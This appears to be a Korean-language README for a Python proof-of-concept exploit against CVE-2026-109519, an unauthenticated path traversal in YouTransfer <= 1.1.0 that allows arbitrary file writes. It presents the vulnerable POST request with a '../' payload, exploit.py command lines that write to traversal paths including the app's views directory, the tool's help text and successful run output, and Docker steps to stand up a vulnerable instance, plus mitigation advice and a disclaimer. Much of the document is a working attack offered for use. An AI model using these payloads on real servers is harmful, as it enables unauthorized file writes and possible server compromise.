
YouTransfer <= 1.1.0의 /settings/template을 통해 임의 파일을 기록하는 인증되지 않은 경로 순회 취약점인 CVE-2026-109519에 대한 Python PoC 익스플로잇으로, 쓰기 검증 기능을 포함합니다.
YouTransfer
/settings/template의 경로 순회를 통한 임의 파일 쓰기
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-109519 |
| VulDB ID | 417175 |
| 제품 | YouTransfer |
| 영향받는 버전 | <= 1.1.0 |
| 유형 | 경로 순회 / 임의 파일 쓰기 |
| 공격 벡터 | 네트워크 (인증 불필요) |
| CVSS 점수 | 8.3 — 높음 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
| CWE | CWE-22 (경로명의 제한된 디렉터리 제한 부적절) |
| 작성자 | @0xgh0stri13y |
YouTransfer는 템플릿 파일을 디스크에 쓸 수 있게 해주는 인증되지 않은 /settings/template 엔드포인트를 노출합니다. template 매개변수는 경로 순회 시퀀스(../)에 대한 어떠한 정제 없이 파일 시스템으로 직접 전달됩니다.
공격자는 이를 악용하여 애플리케이션 프로세스가 접근할 수 있는 모든 경로에 임의의 콘텐츠를 쓸 수 있으며, 의도된 템플릿 디렉터리를 완전히 벗어날 수 있습니다.
POST /settings/template
template=../../../arbitrary/path/file.txt ← no path validation
body=ATTACKER_CONTROLLED_CONTENT ← no content filtering
애플리케이션은 template 매개변수를 상대 경로로 신뢰하고 body 콘텐츠를 해당 위치에 기록하며, 이때 다음과 같은 검증을 수행하지 않습니다:
../ 시퀀스 확인path.resolve() 또는 이와 유사한 보호 장치를 통한 대상 디렉터리 제한┌─────────────────────────┐
│ Attacker │
└────────┬────────────────┘
│
│ POST /settings/template
│ template = ../../../target/path/file.ext
│ body = <attacker-controlled content>
│
▼
┌─────────────────────────┐
│ YouTransfer Server │
│ (No auth required) │
│ │
│ path.join(templateDir, │
│ "../../../target/..") │
│ │
│ Writes content to disk │
│ OUTSIDE templates dir │
└─────────────────────────┘
│
▼
File written to arbitrary
location on the server
# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000
# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"
# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"
$ python exploit.py --help
usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]
CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)
options:
-h, --help show this help message and exit
-t, --target TARGET YouTransfer base URL (e.g. http://victim:5000)
-p, --template-path TEMPLATE_PATH
Traversal path for the template parameter
(default: ../poc_pathtraversal.txt)
-b, --body BODY Content to write to the file
(default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--verify Attempt to verify the write via GET request
┌─────────────────────────────────────────────────┐
│ CVE-2026-109519 PoC Exploit │
│ YouTransfer <= 1.1.0 Path Traversal (CWE-22) │
└─────────────────────────────────────────────────┘
Unauthenticated Arbitrary File Write
github.com/0xgh0stri13y
[*] Target : http://target:5000
[*] Path : ../poc_pathtraversal.txt
────────────────────────────────────────────────────────
[*] Checking target: http://target:5000
[+] Target is alive and running YouTransfer
[*] Sending path traversal payload via POST /settings/template
[*] template = ../poc_pathtraversal.txt
[*] body = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
[+] Payload delivered successfully (HTTP 200, no auth required)
[*] Verifying file write...
[+] Verification successful — file content matches payload ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Path traversal confirmed — arbitrary file write verified
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Exploit completed successfully — Path Traversal confirmed ✓
Docker를 사용하여 취약한 인스턴스를 실행하세요:
docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable
그런 다음 익스플로잇을 실행합니다:
python exploit.py -t http://127.0.0.1:5000 --verify
/settings/template 엔드포인트에 인증을 적용하십시오 — 유효한 관리자 세션을 요구해야 합니다.template 경로를 정제하십시오 — ../ 시퀀스를 거부하거나 제거하고, path.resolve()을 사용하며 해석된 경로가 의도된 templates 디렉터리 내에 유지되는지 검증하십시오.이 도구와 제공된 정보는 승인된 보안 연구 및 교육 목적으로만 사용됩니다. 소유자의 명시적인 서면 허가 없이 시스템에 이 취약점 공격을 사용하는 것은 불법이며 비윤리적입니다. 작성자는 이 도구로 인해 발생하는 어떠한 오용이나 피해에 대해서도 책임지지 않습니다.